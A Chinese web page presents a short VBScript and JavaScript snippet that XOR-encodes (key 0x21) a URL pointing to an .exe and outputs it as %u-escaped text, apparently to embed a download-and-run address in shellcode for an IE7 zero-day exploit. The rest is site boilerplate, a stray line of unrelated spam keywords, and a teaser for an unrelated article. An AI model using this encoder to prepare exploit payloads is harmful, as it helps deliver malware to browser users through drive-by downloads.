ie7 0day当中的shellcode的escape+xor21加密
谢非简历,玉树网,出租魔法使结局
<script language="vbscript">
function encode(s,n)
dim b
b=ucase(s)
for i=1 to len(b)
encode=encode&chrw((asc(mid(b,i,1)) xor n))
next
end function
</script>
<script language="javascript">
myrand=window.prompt("url:","http://www.sohu.com/1.exe");
strvariable = (encode(myrand,0x21)).touppercase( )
function gen(url)
{
var i=0,l=0,k=0,curl="";
l= url.length;
for(;i<l;i++){
k=url.charcodeat(i);
if(k<16)curl+="0"+k.tostring(16);else curl+=k.tostring(16);}
if (l%2){curl+="00";}else{curl+="0000";}
curl=curl.replace(/(..)(..)/g,"%u$2$1");
return curl;
}
document.write(gen(strvariable));
</script>
如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!!
点击进行留言回复
相关文章:
-
-
-
-
-
-
用vbs实现文本循环读取
因为测试中需要读取一批url数据进行浏览,其实使用qtp本身的table能实现多种读取方式,但是因为需要tabel是使用excel保存的,在没有...
[阅读全文]
-
-
-
-
-
网友评论